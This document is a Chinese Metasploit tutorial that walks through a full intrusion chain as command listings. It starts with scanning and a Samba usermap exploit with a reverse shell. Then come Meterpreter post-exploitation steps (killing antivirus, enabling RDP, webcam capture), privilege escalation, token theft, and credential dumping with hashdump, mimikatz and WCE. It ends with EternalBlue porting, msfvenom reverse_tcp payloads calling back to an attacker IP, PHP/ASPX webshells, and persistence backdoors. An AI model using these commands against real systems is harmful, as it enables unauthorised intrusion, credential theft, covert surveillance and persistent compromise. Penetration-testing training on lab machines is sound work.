Metasploit实战基础
Metasploit实战基础
主机扫描
使用辅助模块
搜索可用端口模块:
1 | search portscan |
例如使用TCP扫描模块:
1 | use auxiliary/scanner/portscan/tcp |
查看需要设置的参数:
1 | show options |
设置参数:
set设置 unset取消设置 setg、unsetg设置全局参数
1 | set RHOSTS 192.168.172.149 |
启动:
run或exploit
1 | run |
其他常用扫描模块:
模块 | 功能 | |||
---|---|---|---|---|
auxiliary | scanner | portscan | 端口扫描 | |
smb | smb_version | SMB系统版本扫描 | ||
smb_enumusers | SMB枚举 | |||
smb_login | SMB弱口令扫描 | |||
smtp | smtp_version | SMTP版本扫描 | ||
smtp_enum | SMTP枚举 | |||
snmp | community | SNMP扫描设备 | ||
telnet | telnet_login | TELNET登录 | ||
ssh | ssh_login | SSH登录测试 | ||
mysql | mysql_login | MySQL弱口令扫描 | ||
admin | mysql | mysql_enum | MySQL枚举 | |
mysql_sql | MySQL语句执行 | |||
smb | psexec_command | SMB登录且执行命令 | ||
admin | mssql | mssql_enum | MSSQL枚举 | |
mssql_exec | MSSQL执行命令 | |||
mssql_sql | MSSQL查询 | |||
scanner | mssql | mssql_ping | MSSQL主机信息扫描 | |
mssql_login | MSSQL弱口令扫描 | |||
vnc | vnc_none_auth | VNC空口令扫描 |
使用内嵌Nmap扫描
-Pn或-p0指不使用ping,假定所有主机存活,可穿waf,避免被waf发现。
1 | nmap -O -Pn 192.168.31.250 |
漏洞利用
使用内嵌nmap扫描端口及服务:
1 | nmap -sV 192.168.172.134 |
发现运行Samba 3.x服务,搜索Samba漏洞利用模块:
1 | search samba |
选择“Excellent”攻击模块:
1 | info exploit/multi/samba/usermap_script |
选择Linux攻击载荷,这里选择基础的反向攻击载荷:
1 | set PAYLOAD cmd/unix/reverse |
设置参数:
1 | set RHOST 192.168.172.134 |
攻击:
1 | exploit |
进程迁移
手动迁移
在获得的Meterpreter Shell中获取目标机正在运行的进程:
1 | ps |
查看当前进程PID:
1 | getpid |
例如当前Meterpreter Shell进程PID为984,Explorer.exe进程PID为448,则迁移:
1 | migrate 448 |
一般原进程会自动关闭,如果没有自动关闭可手动:
1 | kill 984 |
自动迁移
1 | run post/windows/manage/mirgrate |
系统信息收集
查看系统信息,如操作系统,体系结构:
1 | sysinfo |
检查目标机是否运行在虚拟机上:
1 | run post/windows/gather/checkvm |
检查目标机最近运行时间:
1 | idletime |
查看完整的网络设置:
1 | route |
查看渗透成功的用户名,如果不是最高权限,则需要提权:
1 | getuid |
关闭目标机系统杀毒软件:
1 | run post/windows/manage/killav |
启动目标机的远程桌面协议:
1 | run post/windows/manage/enable_rdp |
查看目标机本地子网:
1 | run post/windows/manage/autoroute |
添加路由:
1 | background |
列举登录了目标机的用户:
1 | run post/windows/gather/enum_logged_on_users |
列举安装在目标机上的应用程序:
1 | run post/windows/gather/enum_application |
抓取自动登录的用户名密码:
1 | run windows/gather/credentials/windows_autologin |
如果抓不到,使用Espia抓取屏幕截图,保存到/root下:
1 | load espia |
查看目标机是否由摄像头:
1 | webcam_list |
打开摄像头,拍一张照片,保存到/root下:
1 | webcam_snap |
摄像头开启直播模式,.html保存到/root下,浏览器打开即可:
1 | webcam_stream |
进入目标机Shell,退出exit:
1 | shell |
文件系统
查看处于目标机哪个目录:
1 | pwd #或getwd |
查看本地处于哪个目录:
1 | getlwd |
列出当前目录所有文件:
1 | ls |
切换目录:
1 | cd c:\ |
搜索C盘中以.txt为扩展名的文件,-f用于指定搜索文件,-d指定哪个目录下:
1 | search -f *.txt -d c:\ |
下载目标机C盘test.txt到攻击机root下:
1 | download c:\test.txt /root |
上传攻击机root下test.txt到目标机C盘下:
1 | upload /root/test.txt c:\ |
权限提升
在目标机Shell中(Windows):
1 | whoami /groups |
看到最后一个组为:Mandatory Label\Medium Mandatory Level,提权目标为Mandatory Label\High Mandatory Level。
尝试自动提权(一般不会成功):
1 | getsystem |
WMIC法
查看系统打的补丁。法一:在目标机Shell中输入systeminfo;法二:查询C:\Windows\留下的补丁号.log。法三:利用WMIC:
1 | Wmic qfe get Caption.Description.HotFixID.InstalledOn |
想办法找到没有补丁编号的Exp提权,推荐网站:http://www.securityfocus.comd/bid和http://www.exploit-db.com。
这里使用没有安装补丁的漏洞:MS16-032(KB3139914),进行提权:
1 | background #从meterpreter切换回msfconsole |
在Meterpreter Shell中,System权限:
1 | getuid |
常见系统补丁号:
Windows 2003 | Windows 2008 | Windows 2012 | |||
---|---|---|---|---|---|
KB2360937 | MS10-084 | KB3139914 | MS16-032 | KB3139914 | MS16-032 |
KB2478960 | MS11-014 | KB3124280 | MS16-016 | KB3124280 | MS16-016 |
KB2507938 | MS11-056 | KB3134228 | MS16-014 | KB3134228 | MS16-014 |
KB2566454 | MS11-062 | KB3079904 | MS15-097 | KB3079904 | MS15-097 |
KB2646524 | MS12-003 | KB3077657 | MS15-077 | KB3077657 | MS15-077 |
KB2645640 | MS12-009 | KB3045171 | MS15-051 | KB3045171 | MS15-051 |
KB2641653 | MS12-018 | KB3000061 | MS14-058 | KB3000061 | MS14-058 |
KB944653 | MS07-067 | KB2829361 | MS13-046 | KB2829361 | MS13-046 |
KB952004 | MS09-012 PR | KB2850851 | MS13-053EPATHOBJ 0day 限32位 | KB2850851 | MS13-053EPATHOBJ 0day 限32位 |
KB971657 | MS09-041 | KB2707511 | MS12-042 sysret -pid | KB2707511 | MS12-042 sysret -pid |
KB2620712 | MS11-097 | KB2124261 | KB2271195 MS10-065 IIS7 | KB2124261 | KB2271195 MS10-065 IIS7 |
KB2393802 | MS11-011 | KB970483 | MS09-020IIS6 | KB970483 | MS09-020IIS6 |
KB942831 | MS08-005 | ||||
KB2503665 | MS11-046 | ||||
KB2592799 | MS11-080 | ||||
KB956572 | MS09-012烤肉 | ||||
KB2621440 | MS12-020 | ||||
KB977165 | MS10-015Ms Viru | ||||
KB3139914 | MS16-032 | ||||
KB3124280 | MS16-016 | ||||
KB3134228 | MS16-014 | ||||
KB3079904 | MS15-097 | ||||
KB3077657 | MS15-077 | ||||
KB3045171 | MS15-051 | ||||
KB3000061 | MS14-058 | ||||
KB2829361 | MS13-046 | ||||
KB2850851 | MS13-053EPATHOBJ 0day 限32位 | ||||
KB2707511 | MS12-042 sysret -pid | ||||
KB2124261 | KB2271195 MS10-065 IIS7 | ||||
KB970483 | MS09-020IIS6 |
令牌窃取法
列出可用Token:
1 | use icognito |
授权令牌Delegation Tokens支持交互式登录,模拟令牌Impersonation Tokens支持非交互会话。
例如分配的有效令牌包含:WIN-57TJ4B561MT\Administrator,则假冒Administrator进行攻击:
1 | impersonate_token WIN-57TJ4B561MT\\Administrator #双斜杠 |
Hash攻击
Hashdump
如果不是System权限,以下直接导出sam文件会失败:
1 | hashdump |
如果目标机为Win7且开启UAC,则绕过:
1 | run windows/gather/smart_hashdump |
暴力或彩虹表对Hash破解,推荐:http://www.cmd5.com和http://www.xmd5.com。
Ntscan
先制作字典,暴力破解字典:真空密码字典生成器,社会工程学字典:亦思社会工程学字典生成器
Ntscan爆破即可。
GetPass
只针对Win2003,运行即可。
Quarks PwDump
1 | QuarksPwDump.exe -dhl -o 1.txt |
在SAMInside中Import from PWDUMP File..打开即可。
Windows Credentials Editor
上传并查看已登录的明文密码:
1 | upload /root/wce.exe c:\ |
-w查看密码明文;-f强制安全方法读取,默认先安全后不安全,不安全方法会破坏系统;-g用系统使用的加密算法加密一个明文的密文;-c执行mcd;-v显示详细信息(LUID)。
Mimikatz
Win2000和WinXP下不好使。查看目标机架构为32位:
1 | sysinfo |
MSF自带,加载mimikatz模块:
1 | load mimikatz |
试探Mimikatz大概使用方式:
1 | mimikatz_command -f a:: #随便输入模块a,报错,查看所有模块 |
先使用自带命令获取系统信息:
1 | msv #系统Hash |
抓取Hash:
1 | mimikatz_command -f samdump:: #试探samdump可用选项 |
抓取Hash后CMD5解密即可。
Mimikatz的其他功能:
查看系统进程,handle可list/kill:
1 | mimikatz_command -f handle::list |
查看系统服务,service模块可list/start/stop/remove:
1 | mimikatz_command -f service::list |
查看系统证书,crypto模块可list/export:
1 | mimikatz_command -f crypto::listProviders |
Exploit移植
示例:MS17-010永恒之蓝在Metasploiit上已经集成,但不支持Win2003,Github上下载:https://github.com/Telefonica/Eternalblue-Doublepulsar-Metasploit
Ruby脚本存放位置:/usr/share/metasploit-framework/modules/exploits/windows/smb
在MSF下重新加载所有文件:
1 | reload_all |
加载该模块:
1 | search eternalblue-doublepulsar |
攻击前先生成个DLL,目标机架构32位就生成32位的DLL,64位就64位DLL。用Msfvenom生成:
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.31.247 lport=4444 -f dll -o ~/eternal11.dll #64位 |
按照实际设置参数:
1 | set processinject lsass.exe |
攻击后得到Meterpreter会话:
1 | exploit #或run |
后门植入
Cymothoa后门
将Cymothoa可执行程序上传到目标主机上。
在Bash中,先利用ps -aux或tasklist查看选择哪个宿主进程及其PID。例如PID为982的进程为宿主进程,服务端口4444,第一类ShellCode:
1 | cymothoa -S #列出具体各类ShellCode |
成功后直接连接:
1 | nc -nvv 192.168.31.247 4444 |
Persistence后门
先关闭目标机器杀毒软件。在Meterpreter中,查看帮助:
1 | run persistence -h |
创建持久性后门。-A自启动Payload,-S系统启动时自加载,-U用户登陆时自启动,-X开机自启动,-i回连时间间隔,-P监听反向连接端口号,-r目标IP地址。
1 | run persistence -A -S -U -i 60 -p 4321 -r 192.168.172.138 |
查看成功获取的会话:
1 | sessions |
WebShell
Meterpreter后门
-p设置Payload,-f输出文件格式,制作PHP Meterpreter:
1 | msfvenom -p php/meterpreter/reverse tcp lhost=192.168.31.247 -f raw > shuteer.php |
想办法把shuteer.php上传到/var/www/html,启动MSF,设置监听:
1 | use exploit/multi/handler |
打开http://127.0.0.1/shuteer.php,MSF下服务端反弹成功。
Aspx Meterpreter后门
操作同上:
1 | show payloads |
查看帮助并生成:
1 | generate -h |
代码直接输出到控制台了,复制保存为文件,比如aspx.aspx,想办法上传到C:\inetpub\wwwroot目录,启动MSF,设置监听:
1 | use exploit/multi/handler |
打开目标机的aspx.aspx,MSF服务端反弹成功。
内网攻击域渗透测试实例
信息收集
Windows下:
1 | ipconfig |
IPC$渗透
用net user得知自己主机名,用net view找一个跟自己机器名相近的服务器尝试:
1 | net use \\PAVMSEP131\s$ |
启动后发现进入Meterpreter Shell,查看当前用户:
1 | getuid |
如果发现没有System权限,需要利用如Mimikatz等提权。如果目标机为64位,需要将Mimikatz进程迁移到64位程序中才能看到密码明文:
1 | upload /home/64.exe c:\ |